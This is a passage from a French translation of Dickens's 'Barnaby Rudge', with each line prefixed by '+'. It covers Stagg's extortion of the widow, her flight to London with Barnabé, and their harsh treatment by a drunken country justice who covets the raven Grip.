+temps il s'arrêtait pour laisser la fumée de sa pipe monter
+lentement en spirales dans l'air, et pour renifler le parfum
+délicieux des fleurs. Il était là si à son aise! il était comme
+chez lui: on aurait cru qu'il n'en avait pas bougé de sa vie; et
+il attendait en maître de céans la réponse de la veuve et le
+retour de Barnabé.
+
+
+
+
+CHAPITRE IV.
+
+
+Quand Barnabé revint avec le pain demandé, la vue du bon vieux
+pèlerin fumant sa pipe et se mettant à son aise avec si peu de
+cérémonie, parut lui causer, même à lui, beaucoup de surprise,
+surtout lorsqu'il vit ce digne et pieux personnage, au lieu de
+serrer précieusement et avec soin son pain dans son bissac, le
+repousser négligemment sur la table, et tirer sa bouteille en
+l'invitant à s'asseoir pour boire un coup avec lui.
+
+«Car, dit-il, je ne m'embarque jamais sans biscuit, comme vous
+voyez. Goûtez-moi ça. Est-ce bon?»
+
+Les yeux de Barnabé en pleuraient et il toussait comme un
+malheureux, tant le grog était fort, ce qui ne l'empêcha pas de
+répondre que c'était excellent.
+
+«Encore une goutte, dit l'aveugle; n'ayez pas peur, vous n'en
+prenez pas comme cela tous les jours.
+
+-- Tous les jours, cria Barnabé, dites donc jamais!
+
+-- Vous êtes trop pauvre, reprit l'autre avec un soupir. Voilà le
+mal. Votre mère, la pauvre femme, serait plus heureuse si elle
+était plus riche, Barnabé.
+
+-- Tiens! comme cela se trouve! C'est justement ce que je lui
+disais quand vous êtes venu ce soir, en voyant tout l'or qui
+brillait au ciel, dit Barnabé rapprochant sa chaise, et regardant
+attentivement l'aveugle en face. Dites-moi donc. N'y aurait-il pas
+quelque moyen de devenir riche, que je pourrais apprendre?
+
+-- Quelque moyen? il y en a cent.
+
+-- Vraiment? Comme vous dites ça! Eh bien! quels sont-ils?... ne
+vous tourmentez pas, mère, c'est pour vous que je fais cette
+question, ce n'est pas pour moi... quand je vous dis que c'est
+pour vous... Quels sont-ils, voyons?»
+
+L'aveugle tourna sa face, où perçait un sourire de joie
+triomphante, du côté où la veuve se tenait en grand émoi.
+
+«Mais, répondit-il, mon bon ami, ça ne se trouve pas comme ça à
+rester le derrière sur sa chaise.
+
+-- Sur sa chaise! cria Barnabé s'étirant les manches; ce n'est
+toujours pas moi que vous voulez dire; ou bien vous vous trompez
+joliment, moi qui suis souvent à courir avant le lever du soleil,
+pour ne rentrer à la maison qu'à la nuit. Vous me trouveriez dans
+les bois avant que le soleil en ait chassé l'ombre, et j'y suis
+bien des fois encore après que la lune brille au ciel, et regarde
+à travers les branches pour voir l'autre lune qui demeure dans
+l'eau. En allant à droite, à gauche, je cherche bien à trouver,
+dans l'herbe et dans la mousse, s'il n'y a pas quelqu'une de ces
+pièces de monnaie pour lesquelles elle se donne tant de mal à
+travailler et verse tant de larmes. Et, quand je suis couché à
+l'ombre, où je m'endors, c'est encore pour en rêver... Je rêve que
+j'en déterre des tas, que j'en vois des cachettes dans les
+broussailles, que je les vois étinceler dans le feuillage, comme
+des gouttes de rosée. Mais, avec tout cela, je n'en trouve jamais.
+Dites-moi donc où il y en a. Fallût-il un an pour y aller, j'y
+vais; parce que je sais bien comme vous qu'elle serait plus
+heureuse si elle m'en voyait revenir chargé. Parlez donc, je vous
+écoute, dussé-je vous prêter l'oreille toute la nuit.»
+
+L'aveugle passa légèrement sa main sur toute la personne du pauvre
+diable; et, voyant qu'il avait les coudes plantés sur la table, le
+menton appuyé sur ses deux mains, qu'il se penchait avidement en
+avant, montrant dans toute son attitude l'intérêt et l'impatience
+dont il était animé, il s'arrêta une minute avant de lui répondre,
+pour laisser la veuve considérer la chose à loisir.
+
+«C'est dans le monde, mon brave Barnabé, c'est dans les joyeux
+amusements du monde: ce n'est pas dans des endroits solitaires
+comme ceux où vous passez votre temps; c'est dans les foules, au
+milieu du bruit et du tapage.
+
+-- Bravo! bravo! cria Barnabé, en se frottant les mains, à la
+bonne heure! voilà ce que j'aime. Et Grip aussi. Voilà ce qu'il
+nous faut à tous les deux. Bravo!
+
+-- Dans les endroits, continua l'autre, comme il en faut à un
+jeune gars qui aime sa mère et qui peut faire là pour elle, et
+pour lui par-dessus le marché, en moins d'un mois, ce qu'il ne
+ferait pas ici dans toute sa vie... c'est-à-dire avec un ami, vous
+comprenez, pour lui donner de bons conseils.
+
+-- Vous entendez, mère? cria Barnabé, se retournant vers elle avec
+délice. Et puis maintenant venez donc me dire qu'il ne vaut pas
+seulement la peine qu'on le ramasse, quand même il serait là
+reluisant à nos pieds! Et pourquoi donc alors le recherchons-nous
+tant à présent, que, pour en avoir un peu, nous nous tuons de
+travail du matin jusqu'au soir?
+
+-- Certainement, dit l'aveugle, certainement... La veuve, n'avez-
+vous pas encore votre réponse prête? Est-ce que, ajouta-t-il tout
+bas, vous n'êtes pas encore décidée?
+
+-- Je veux vous dire un mot... à part.
+
+-- Mettez votre main sur ma manche, dit Stagg se levant de table,
+et je vous suivrai où vous voudrez. Courage, mon brave Barnabé!
+Nous reparlerons de ça. J'ai un caprice pour vous. Attendez-moi là
+un peu, je vais revenir... Allons, la veuve!»
+
+Elle le mena à la porte, puis dans le petit jardin, où ils
+s'arrêtèrent.
+
+«Il a bien choisi son commissionnaire, dit-elle à demi-voix; vous
+êtes bien l'homme qu'il faut pour représenter celui qui vous
+envoie.
+
+-- Je lui dirai cela de votre part, répondit Stagg. Comme il a
+beaucoup de considération pour vous, l'éloge que vous voulez bien
+faire de moi ne pourra que me relever dans son estime. Mais il
+nous faut nos droits, la veuve.
+
+-- Des droits! savez-vous qu'un seul mot de moi...?
+
+-- Pourquoi ne continuez-vous pas? répliqua l'aveugle avec calme,
+après un long silence. Est-ce que vous croyez que je ne sais pas
+bien qu'un mot de vous suffirait pour faire faire à mon ami le
+dernier pas de danse qu'il pût jamais faire dans ce monde? Que si,
+que je le sais bien. Eh bien, après? ne sais-je pas bien aussi que
+ce mot-là, vous ne le direz jamais, la veuve?
+
+-- Vous croyez ça?
+
+-- Si je le crois! j'en suis si sûr que je ne veux pas seulement
+que nous perdions notre temps à discuter cette question. Je vous
+répète qu'il nous faut nos droits, ou un dédommagement. Ne vous
+écartez pas de là, ou je retourne à mon jeune ami, car ce garçon-
+là m'intéresse, et j'ai envie de le mettre en bon chemin pour
+faire fortune. Bah! je sais bien ce que vous allez dire, ajouta-t-
+il bien vite; vous n'avez pas besoin de m'en parler, vous me
+l'avez déjà fait entendre. Vous voulez me demander si je ne
+devrais pas avoir pitié de vous, parce que je suis aveugle. Eh
+bien! non. Faut-il, parce que je ne vois pas, que vous vous
+imaginiez que je dois mieux valoir que ceux qui voient? Et de quel
+droit? Ne semble-t-il pas que la main de Dieu se manifeste plutôt
+à me priver de mes yeux qu'à vous laisser les vôtres? Voilà bien
+votre jargon, à vous autres! Oh! quelle horreur! c'est un aveugle
+et il a volé; ou bien il a menti; ou bien il a filouté. Voyez un
+peu la belle histoire! Parce qu'il n'a pour vivre que les liards
+que vous lui jetez dans sa sébile, le long des rues, il est bien
+plus coupable que vous qui pouvez voir, travailler, vivre enfin
+indépendants de la charité d'autrui. Le diable soit de vous! Parce
+que vous avez vos cinq sens, vous pouvez être aussi vicieux que
+vous voulez. Parce que nous n'en avons que quatre, et qu'il nous
+manque le plus précieux de tous, il faut que nous vivions bien
+moralement de notre infirmité. Voilà la justice et la charité du
+riche pour le pauvre, comme on l'entend par tout le monde!»
+
+Il s'arrêta là-dessus un moment, et entendant sonner da l'argent
+dans la main de la veuve:
+
+«Bon, s'écria-t-il, reprenant tout de suite son air posé, voilà
+qui peut arranger les affaires. Est-ce la somme, dites-moi, la
+veuve?
+
+-- Je veux d'abord que vous répondiez à une question. Vous dites
+qu'il est près d'ici. Est-ce qu'il a quitté Londres?
+
+-- S'il est près d'ici, la veuve, vous comprenez qu'il faut qu'il
+ait quitté Londres.
+
+-- Oui, mais, je veux dire, est-ce pour de bon? Vous savez bien.
+
+-- Oui, ma foi! c'est pour de bon. La vérité est que, s'il y était
+resté plus longtemps, cela pouvait avoir pour lui des conséquences
+désagréables. C'est la raison qui lui a fait quitter Londres.
+
+-- Écoutez, dit la veuve, faisant sonner des pièces de monnaie sur
+le banc près duquel ils étaient; comptez.
+
+-- Six, dit l'aveugle en les écoutant attentivement à mesure.
+Comment! pas davantage?
+
+-- C'est l'épargne de cinq années. Six guinées.»
+
+Il prit une des pièces dans sa main, la tâta soigneusement, la mit
+dans ses dents, la fit sonner sur le banc, et invita la veuve à
+continuer.
+
+«Ces guinées-là, je les ai amassées sou par sou, pour les cas de
+maladie, ou dans la prévision de la mort qui pourrait m'enlever à
+mon fils. C'est le prix de cinq années de faim, de veilles et de
+travail. Si vous êtes disposé à les prendre, prenez-les, mais à la
+condition que vous quitterez la maison à l'instant, et que vous ne
+rentrerez plus dans cette chambre où mon fils est assis à vous
+attendre.
+
+-- Six guinées! dit l'aveugle, secouant la tête; il est vrai
+qu'elles sont de poids et de bon aloi, mais ce n'est pas les vingt
+guinées que je vous demande, la veuve; nous sommes loin de compte.
+
+-- Vous savez bien que, pour une somme pareille, il faut que
+j'écrive loin d'ici. Envoyer une lettre, recevoir la réponse tout
+cela demande du temps.
+
+-- Deux jours, peut-être? dit Stagg.
+
+-- Davantage.
+
+-- Quatre jours?
+
+-- Huit jours. Revenez d'aujourd'hui en huit, à la même heure;
+mais pas ici: vous m'attendrez au coin de la ruelle.
+
+-- Et par conséquent, dit l'aveugle d'un air rusé, je suis sûr de
+vous retrouver encore ici?
+
+-- Où voulez-vous que j'aille chercher un asile ailleurs? N'êtes-
+vous pas encore content, après m'avoir réduite à la mendicité et
+m'avoir dépouillée du petit trésor si chèrement amassé, que je
+sacrifie, en ce moment, pour pouvoir au moins rester chez moi?
+
+-- Hum! dit l'aveugle après quelques moments de réflexion: mettez-
+moi la face tournée du côté que vous dites, et juste dans le
+chemin. Suis-je bien là?
+
+-- Vous y êtes.
+
+-- Eh bien! d'aujourd'hui en huit au coucher du soleil. N'oubliez
+pas le garçon qui est là dedans. Quant à présent, bonsoir!»
+
+Elle ne lui fit pas de réponse, et il n'en attendait pas. Il s'en
+alla lentement, retournant de temps en temps la tête, et
+s'arrêtant pour écouter, comme s'il était curieux de savoir s'il
+n'y avait pas quelqu'un par là qui l'observât. Les ombres de la
+nuit s'épaississaient rapidement; il fut bientôt perdu dans leur
+obscurité. Cependant, ce ne fut qu'après avoir traversé la ruelle,
+d'un bout à l'autre, et s'être assurée qu'il était parti, qu'elle
+rentra dans sa cabane et se dépêcha de barrer la porte et la
+fenêtre.
+
+«Mère, dit Barnabé, qu'est-ce que vous faites donc? Où est
+l'aveugle?
+
+-- Il est parti.
+
+-- Parti! cria-t-il en sursaut. Je voulais encore lui parler. Par
+où est-il allé?
+
+-- Je ne sais pas, répondit-elle en le prenant à bras-le-corps. Il
+ne faut pas sortir ce soir: il y a des revenants et des rêves
+dehors.
+
+-- Ah! dit Barnabé, frissonnant tout bas.
+
+-- Il ne fait pas bon à bouger d'ici ce soir, et demain nous
+quittons la place.
+
+-- Quelle place? Cette cabane... avec le petit jardin, mère?
+
+-- Oui, demain matin au lever du soleil. Il nous faut aller à
+Londres; tâcher de nous perdre dans cette grande cohue: on nous
+suivrait à la trace dans toute autre ville: et puis, après cela,
+nous nous remettrons en route pour aller chercher quelque nouveau
+gîte.»
+
+Il ne fallait pas grands efforts de persuasion pour réconcilier
+Barnabé avec l'idée d'un changement. Au premier moment il était
+fou de joie: le moment d'après il était accablé de chagrin, en
+songeant qu'il allait se séparer de ses amis les chiens. Le moment
+d'après, il était plus enchanté que jamais; puis il frissonnait à
+l'idée que sa mère lui avait parlé de revenants pour l'empêcher de
+sortir ce soir, et rien n'égalait sa terreur et la singularité de
+ses questions. À la fin, grâce à la mobilité de ses sentiments, il
+surmonta sa peur, et se couchant tout habillé, pour être plus tôt
+prêt le lendemain, il s'endormit bientôt devant le triste feu de
+tourbe.
+
+La mère ne ferma pas l'oeil; elle resta près de lui à veiller.
+Chaque souffle de vent qu'elle entendait au dehors retentissait à
+ses oreilles comme ce pas redouté qu'elle connaissait si bien à sa
+porte, ou comme cette main scélérate posée sur le loquet; cette
+nuit calme de l'été fut pour elle une nuit d'horreur. Enfin, Dieu
+merci! le jour parut. Quand elle eut fini les petits préparatifs
+nécessaires pour son voyage, et fait à genoux sa prière avec bien
+des larmes, elle éveilla Barnabé qui, au premier appel, sauta
+gaiement sur ses pieds.
+
+Son paquet d'habillements n'était pas bien lourd à porter, et Grip
+était plutôt un plaisir qu'une gêne. Au moment où le soleil darda
+sur la terre ses premiers rayons, ils fermèrent la porte de leur
+maison désormais abandonnée, et partirent. Le ciel était bleu et
+clair. L'air était frais et chargé de doux parfums. Barnabé, les
+yeux en l'air, riait à gorge déployée.
+
+Mais, comme c'était un des jours qu'il avait l'habitude de
+consacrer à ses grandes excursions, un des chiens, le plus laid de
+tous, vint d'un bond à ses pieds et se mit à sauter autour de lui
+en signe de joie. Quand il fallut faire la grosse voix pour le
+faire retourner chez lui, cela coûta beaucoup à Barnabé. Le chien
+battit en retraite, reculant d'un air moitié incrédule, moitié
+suppliant; puis, après avoir reculé quelques pas, il s'arrêta.
+
+C'était le dernier appel d'un vieux camarade, d'un ami fidèle...
+repoussé désormais. Barnabé ne put supporter cette idée, et, quand
+il fit de la main, en secouant sa tête, à son compagnon de plaisir
+et de promenade, le dernier signe d'adieu pour le renvoyer chez
+lui, il éclata en un torrent de larmes.
+
+«Ah! ma mère, ma mère, comme il va avoir du chagrin, quand il
+viendra gratter à la porte et qu'il la trouvera toujours fermée!»
+
+Il n'était pas le seul à penser au logis; elle-même, on voyait
+bien à ses yeux noyés dans les pleurs, qu'elle ne pouvait pas
+l'oublier; d'ailleurs elle ne l'aurait pas voulu, ni pour lui, ni
+pour elle, quand on lui aurait donné tout l'or du monde.
+
+
+
+
+CHAPITRE V.
+
+
+Dans le catalogue des grâces inépuisables que le ciel a faites à
+l'homme, celle qui doit occuper la première place, c'est, sans
+contredit, la faculté que nous avons de trouver quelques germes de
+consolation dans nos plus rudes épreuves: et ce n'est pas
+seulement parce qu'elle nous ranime et nous soutient quand nous
+avons le plus besoin de secours; mais c'est aussi parce que, dans
+cette source de consolations, il y a quelque chose, à ce que nous
+pouvons croire, qui émane de l'esprit divin; quelque chose de
+cette bonté suprême qui démêle au milieu de nos fautes une qualité
+qui les rachète, quelque chose que, même dans notre chute, nous
+partageons avec les anges; qui remonte au bon vieux temps où ils
+parcouraient la terre, et que, en partant, ils ont laissée
+derrière eux, par pitié pour nous.
+
+Que de fois, pendant leur voyage, la veuve se rappela, d'un coeur
+reconnaissant, que, si Barnabé était si gai et si aimant, il le
+devait surtout à l'infirmité de son esprit! Que de fois elle se
+répétait que, sans cela, il aurait été triste, morose, dur,
+éloigné d'elle, qui sait? méchant et cruel, peut-être! Que de fois
+elle trouva une consolation dans la force de son fils, une
+espérance dans la simplicité de sa nature! Le monde était pour lui
+un monde de bonheur. Il n'y avait pas un arbre, une plante, une
+fleur, un oiseau, une bête, un faible insecte déposé sur l'herbe
+par le souffle de la brise d'été, qui ne fût un plaisir pour lui;
+et le plaisir de son fils était aussi le sien. Dans les conditions
+de sa vie, que de fils plus sensés auraient été pour elle un sujet
+de chagrin, pendant que ce pauvre idiot, avec la faiblesse de son
+esprit, remplissait le coeur de sa mère d'un sentiment de
+reconnaissance et d'amour! Leur bourse était bien légère: mais la
+veuve avait retenu pour elle une guinée du petit trésor qu'elle
+avait compté dans la main de l'aveugle; avec quelques pence
+qu'elle avait ramassés d'ailleurs, cela valait, pour leurs
+habitudes frugales, une bonne somme à la banque. Ils avaient, de
+plus, Grip avec eux; et souvent, quand il aurait fallu changer la
+guinée, ils n'avaient qu'à lui faire donner une représentation à
+la porte de quelque cabaret, ou sur la place d'un village, ou
+devant quelque maison de campagne, pour obtenir du caquet amusant
+de l'oiseau quelque secours, qu'ils n'auraient pas obtenu de la
+charité des gens.
+
+Un jour, car ils avançaient lentement, et, malgré les carrioles et
+les charrettes où on voulait bien les recevoir quelquefois un bout
+de chemin, ils furent près d'une semaine en voyage, Barnabé, le
+corbeau sur l'épaule, et marchant devant sa mère, demanda la
+permission au concierge d'aller seulement jusqu'à un château sur
+la route, au bout de l'avenue, pour montrer son oiseau. Le brave
+concierge avait bonne envie de lui en accorder la permission, et
+s'y disposait sans doute, quand un gros gentleman, un fouet de
+chasse à la main, et la figure animée comme s'il avait bu un bon
+coup le matin, vint à cheval à la grille, en jurant et tempêtant
+plus qu'il n'était nécessaire pour se la faire ouvrir à l'instant.
+
+«Avec qui donc êtes-vous là? dit-il tout en colère au concierge,
+qui lui ouvrait la grille à deux battants en lui ôtant son
+chapeau. Qu'est-ce que c'est que ces gens-là? hein? Vous êtes une
+mendiante, n'est-ce pas, la femme?»
+
+La veuve répondit, avec une humble révérence, qu'ils étaient de
+pauvres voyageurs.
+
+«Des coureurs, dit le gentleman, des vagabonds. Vous avez donc
+envie que je vous fasse faire connaissance avec le violon, hein?
+le violon, le billot et le fouet? d'où venez-vous?»
+
+Elle, d'un ton timide, en le voyant rouge de fureur et en
+entendant sa grosse voix, le pria de ne pas se fâcher, car ils ne
+faisaient pas de mal et allaient se remettre en route sur-le-
+champ.
+
+«Ah! voyez-vous ça? vous croyez que nous allons laisser rôder des
+vagabonds par ici? Je sais bien ce que vous venez faire. Vous
+venez voir s'il n'y a pas du linge qui sèche sur les haies, ou
+quelque poulet égaré sur les chemins. Hein? Qu'est-ce que tu as là
+dans ton panier, grand fainéant?
+
+-- Grip, Grip, Grip, Grip le malin, Grip le savant, Grip l'habile
+homme, Grip, Grip, Grip, cria le corbeau, que Barnabé s'était
+empressé de renfermer à l'approche du monsieur en colère. Je suis
+un démon, je suis un démon. N'aie pas peur, mon garçon. Hourra!
+coa, coa, coa. Polly, mets sur le feu la bouilloire, nous allons
+prendre le thé.
+
+-- Sors-moi cette vermine, drôle, dit le gentleman, que je la
+voie.»
+
+Barnabé, sur une invitation si gracieuse, prit son oiseau avec
+crainte et tremblement, et le posa à terre. Grip ne se sentit pas
+plutôt libre qu'il déboucha au moins cinquante bouteilles à la
+file et se mit à danser, regardant en même temps le gentleman avec
+une insolence sans pareille, et tournant de côté sa tête en
+spirale, comme s'il avait juré de la démancher.
+
+Les glouglous du bouchon parurent faire plus d'impression sur
+l'esprit du gentleman que le babil de l'oiseau, sans doute parce
+qu'ils répondaient mieux à ses habitudes et à ses goûts. Il voulut
+lui faire répéter cet exercice; mais, malgré ses ordres
+péremptoires et les cajoleries de Barnabé, Grip resta sourd à la
+requête et garda un morne silence.
+
+«Viens me l'amener,» dit le gentleman en montrant du doigt le
+château. Mais Grip, qui ne s'endormait pas, s'était douté de la
+chose, et se mit à sauter devant eux, échappant à la poursuite de
+son maître; il battait des ailes et criait en courant:
+«Marguerite,» afin d'annoncer à la cuisinière qu'il arrivait de la
+compagnie, pour laquelle elle ferait bien de préparer une petite
+collation.
+
+Barnabé et sa mère, chacun de leur côté, accompagnaient le
+gentleman qui, du haut de son cheval, les regardait, de temps en
+temps, d'un oeil fier et farouche, vociférant par-ci par-là
+quelque question dont Barnabé trouvait le ton si sévère que, dans
+son trouble, il n'y faisait point de réponse. Ce fut dans une
+occasion de ce genre que, voyant le gentleman disposé à le châtier
+à coups de fouet, la veuve prit la liberté de l'informer à voix
+basse, et la larme à l'oeil, que son fils était imbécile.
+
+«Tu es donc idiot, hein? dit le gentleman en regardant Barnabé. Y
+a-t-il longtemps que tu es idiot?
+
+-- La mère sait ça, dit timidement Barnabé. Moi je crois que je
+l'ai toujours été.
+
+-- C'est de naissance, dit la veuve.
+
+-- Je ne crois pas ça, dit le gentleman, je n'en crois pas un mot.
+C'est une excuse pour faire le paresseux. Il n'y a rien de bon
+comme le fouet pour guérir ça tout de suite. Je vous réponds qu'il
+ne me faudrait pas dix minutes pour lui faire passer cette
+maladie-là.
+
+-- Le ciel y a mis vingt-deux ans déjà, monsieur, sans y réussir,
+dit la veuve avec douceur.
+
+-- Alors, pourquoi ne le faites-vous pas enfermer? Nous payons
+pourtant assez cher en province pour ces institutions-là, que Dieu
+confonde! Mais c'est que vous aimez mieux le promener pour
+demander l'aumône, comme de raison. Oh! je vous connais bien.»
+
+Or, ce gentleman avait plusieurs petits surnoms d'amitié dans ses
+connaissances. Les uns l'appelaient «un gentilhomme campagnard de
+la bonne roche,» d'autres «un gentilhomme campagnard du bon
+temps,» d'autres «un Nemrod,» d'autres «un Anglais pur sang,»,
+d'autres «un vrai John Bull;» mais tous ils s'accordaient en un
+point: c'est que c'était bien dommage qu'il n'y en eût pas
+beaucoup comme lui, et que c'était là ce qui faisait que le pays
+marchait tous les jours à sa ruine. Il était juge de paix: il
+savait à peine écrire son nom lisiblement; mais il avait des
+qualités de premier ordre. D'abord, il était très sévère pour les
+braconniers; ensuite il n'y avait pas de meilleur tireur, de
+cavalier plus intrépide; nul n'avait de meilleurs chevaux, de
+meilleurs chiens; il mangeait de la viande, il buvait du vin comme
+personne; il n'y avait pas, dans tout le comté, un homme comme lui
+pour se coucher tous les soirs plus aviné, sans qu'il y parût le
+lendemain matin. Il se connaissait en bêtes chevalines aussi bien
+qu'un vétérinaire; il avait des connaissances en écurie, qui
+faisaient honte à son premier cocher. Il n'avait pas un porc dans
+ses étables qui pût se vanter d'être aussi glouton que son maître.
+Il n'avait pas un siège au Parlement en personne, mais il était
+extrêmement patriote, et menait ses gens au vote haut la main.
+C'était un des plus chauds partisans de l'Église et de l'État, et
+il n'aurait pas, au grand jamais, donné un bénéfice de son ressort
+à un curé qui n'aurait pas justifié de boire ses trois bouteilles
+à son repas, et de chasser le renard dans la perfection. Il
+n'avait aucune confiance dans l'honnêteté des pauvres gens qui
+avaient le malheur de savoir lire et écrire, et, dans le fond de
+l'âme, il n'avait pas encore pardonné à sa femme d'en savoir là-
+dessus plus long que lui. Bien entendu qu'il avait épousé cette
+dame pour cette bonne raison que ses amis appelaient «la bonne
+vieille raison anglaise,» à savoir que les deux propriétés se
+touchaient. Bref, si nous appelons Barnabé un idiot et Grip une
+créature de pur instinct animal, je ne sais plus trop comment
+qualifier notre gentilhomme.
+
+Il poussa jusqu'à la porte d'une belle habitation où l'on montait
+par un perron; au bas des marches se tenait un domestique pour
+prendre le cheval. Puis il les conduisit dans un grand vestibule
+qui, tout spacieux qu'il était, sentait encore les orgies de la
+veille. Des manteaux de cheval, des cravaches, des brides, des
+bottes à revers, des éperons, etc., étaient épars de tous côtés et
+composaient, avec quelques grands andouillets et des portraits de
+chevaux et de chiens, le principal embellissement de la pièce.
+
+Il se jeta dans un grand fauteuil, qui, par parenthèse, lui
+servait souvent à ronfler, la nuit, quand il se trouvait que, ces
+jours-là, il avait été, selon ses admirateurs, plus beau
+gentilhomme campagnard encore que de coutume; et il donna l'ordre
+au valet de dire à sa maîtresse de descendre; et aussitôt on vit,
+un peu agitée, à ce qu'il semblait, par cet appel inaccoutumé,
+paraître une dame beaucoup plus jeune que lui, qui n'avait pas
+l'air d'être bien forte de santé, ni bien heureuse.
+
+«Tenez! vous qui n'aimez pas à suivre les chiens en bonne
+Anglaise, regardez-moi ça; ça vous fera peut-être plus de
+plaisir.»
+
+La dame sourit, s'assit à quelque distance de lui, et jeta sur
+Barnabé un regard de commisération.
+
+«C'est un idiot, à ce que dit cette femme, remarqua le gentleman,
+en secouant la tête, quoique je ne croie pas ça.
+
+-- Est-ce que vous êtes sa mère? demanda la dame.
+
+-- Oui, madame.
+
+-- Qu'est-ce que vous avez besoin de lui demander ça? dit le
+gentleman en fourrant ses mains dans ses goussets; vous savez bien
+qu'elle ne dira pas non. Il est probable que c'est un imbécile
+qu'elle aura loué à tant par jour. Là! voyons! faites-lui faire
+quelque chose.»
+
+Cependant Grip avait retrouvé sa civilité: il voulut bien
+condescendre, à la prière de Barnabé, à répéter son vocabulaire et
+à exécuter toutes ses gentillesses avec le plus grand succès. Le
+tire-bouchon, glou et l'encouragement ordinaire: «N'aie pas peur,
+mon garçon,» amusèrent si bien le gentleman, qu'il demanda bis
+pour cette partie du rôle: mais Grip rentra dans son panier, et
+finit par refuser décidément d'ajouter un mot de plus. La dame
+aussi prit beaucoup de plaisir à l'entendre; mais rien ne divertit
+son mari comme l'obstination de l'animal dans son refus: il en
+poussa des éclats de rire à faire trembler la maison, et demanda
+combien il valait.
+
+Barnabé eut l'air de ne pas comprendre la question, et
+probablement il ne la comprenait pas.
+
+«Son prix? dit le gentleman, faisant sonner de l'argent dans son
+gousset. Qu'est-ce que vous en voulez? Combien?
+
+-- Il n'est pas à vendre, répondit Barnabé, se dépêchant de fermer
+le panier et d'en passer la courroie dans son col. Mère, allons-
+nous-en!
+
+-- Voyez-vous comme c'est un idiot, madame la savante? dit le
+gentleman, jetant à sa femme un regard méprisant. Il n'est déjà
+pas si bête pour faire valoir sa marchandise. Et vous, la vieille,
+voyons! Qu'est-ce que vous en voulez?
+
+-- C'est le fidèle camarade de mon fils, dit la veuve; il n'est
+pas à vendre, monsieur, je vous assure.
+
+-- Pas à vendre! cria le gentleman, dix fois plus rouge, plus
+enroué, plus tapageur que jamais; pas à vendre!
+
+-- Je vous assure que non, répondit-elle. Nous n'avons jamais eu
+l'idée de nous en séparer, monsieur; c'est la vérité pure.»
+
+Il allait évidemment faire quelque réplique violente, lorsque,
+ayant attrapé au passage quelques mots prononcés tout bas par sa
+femme, il se tourna vivement vers elle pour lui dire: «Hein? quoi?
+
+-- Je dis que nous ne pouvons pas les forcer à vendre leur oiseau
+s'ils ne veulent pas, répondit-elle d'une voix faible. S'ils
+préfèrent le garder...
+
+-- S'ils préfèrent le garder! répéta-t-il après elle. Des gens
+comme ça, qui traînent dans le pays pour vagabonder et voler de
+toutes mains, préférer garder un oiseau, quand un propriétaire
+terrier, un juge de paix, demande à l'acheter! Voilà une vieille
+femme qui a été à l'école! c'est bien facile à voir. Ne me dites
+pas que non, cria-t-il de tous ses poumons à la veuve. Moi, je
+vous dis que si.»
+
+La mère de Barnabé se reconnut coupable d'avoir été à l'école;
+mais, disait-elle, il n'y avait pas de mal à ça.
+
+«Pas de mal! Non, pas de mal! pas de mal à ça, vieille rebelle,
+pas le moindre mal. Si j'avais seulement ici mon greffier, je te
+ferais tâter du billot, ou je te fourrerais dans la geôle pour
+apprendre à rôder à droite, à gauche, à l'affût d'un tas de menus
+larcins, bohémienne que tu es. Ici, Simon, jetez-moi ces filous-là
+dehors, et qu'on les mette à la porte, par la grand'route. Ah!
+vous ne voulez pas vendre cet oiseau, et vous venez mendier ici
+l'aumône! S'ils ne détalent pas plus vite que ça, mettez-moi les
+chiens à leurs trousses.»
+
+Ils n'attendirent pas leur reste et se mirent à se sauver en toute
+hâte, laissant le gentleman tempêter tout seul, car la pauvre dame
+s'était déjà retirée auparavant, et firent en vain tout ce qu'ils
+purent pour faire taire Grip, qui, excité par le bruit, déboucha
+des bouteilles tout le long de l'avenue, de quoi régaler une ville
+entière, apparemment pour se réjouir méchamment d'avoir été la
+cause de tout ce tapage. Ils étaient déjà presque arrivés à la
+loge du concierge, quand un autre domestique, sorti des massifs
+voisins, en faisant semblant de les presser de s'en aller, mit un
+écu dans la main de la veuve, en lui disant tout bas que c'était
+de la part de la dame, et ferma doucement sur eux la porte.
+
+Quand la veuve s'arrêta avec son fils à la porte d'un cabaret, à
+quelques milles de là, et qu'elle entendit vanter par ses amis le
+caractère du juge de paix, en songeant à cet incident, elle ne put
+s'empêcher de penser qu'il faudrait peut-être quelque chose de
+plus qu'une capacité d'estomac remarquable et un goût prononcé
+pour les chenils et les écuries, pour former un parfait
+gentilhomme campagnard, ou un Anglais pur sang, ou un vrai John
+Bull, et que peut-être aussi c'était abuser de ces éloges que de
+les déshonorer ainsi dans l'application. Elle ne se doutait guère
+alors qu'une circonstance si futile dût avoir jamais quelque
+influence sur leur sort; mais elle ne l'apprit que trop du temps
+et de l'expérience.
+
+«Mère, dit Barnabé, pendant qu'ils étaient assis le lendemain sur
+un chariot qui devait les mener jusqu'à dix milles de la capitale,
+nous allons commencer, m'avez-vous dit, par aller à Londres; y
+verrons-nous l'aveugle?»
+
+Elle allait lui répondre: «Dieu nous en garde!» mais elle se
+retint et se contenta de lui dira: «Non, je ne crois pas. Pourquoi
+cette question?
+
+-- C'est un homme d'esprit, dit Barnabé d'un air pensif; je
+voudrais bien me retrouver encore avec lui. Qu'est-ce qu'il disait
+donc des foules? Que l'or se trouvait dans les endroits où il y
+avait de la foule, et non pas parmi les arbres, ni dans des
+endroits si tranquilles? Il avait l'air d'aimer ça; et, comme il
+ne manque pas de foule à Londres, je crois bien que je le
+trouverai là.
+
+-- Mais, mon cher enfant, pourquoi donc tenez-vous tant à le voir?
+
+-- Parce que, dit Barnabé en la regardant d'un air sérieux, il me
+parlait de l'or, qui est une chose bien précieuse, et que vous-
+même, vous avez beau dire, vous voudriez bien en avoir, j'en suis
+sûr. Et puis, il n'a fait que paraître et disparaître d'une
+manière si étrange! Il m'a rappelé ces vieux bonshommes à tête
+grise, qui viennent quelquefois au pied de mon lit, la nuit, me
+dire un tas de choses que je ne puis plus me rappeler le
+lendemain, quand il fait jour. Il m'avait dit qu'il me reparlerait
+avant de partir: je ne sais pas pourquoi il ne m'a pas tenu
+parole.
+
+-- Mais, mon cher Barnabé, je croyais que vous ne pensiez jamais,
+auparavant, à être riche ou pauvre, et je vous ai toujours vu
+content comme vous étiez.»
+
+Il se mit à rire en la priant de lui répéter ça. Puis il se mit à
+crier: «Hé! hé!... oh! oui;» et recommença de rire. Mais bientôt
+il lui passa une autre chose par la tête, qui chassa ce sujet de
+son esprit, pour faire place elle-même à quelque autre rêve aussi
+fugitif.
+
+Cependant il était évident, par ce qu'il venait de dire, et par sa
+persévérance à revenir plusieurs fois là-dessus dans le courant de
+la journée et encore le lendemain, que la visite de l'aveugle et
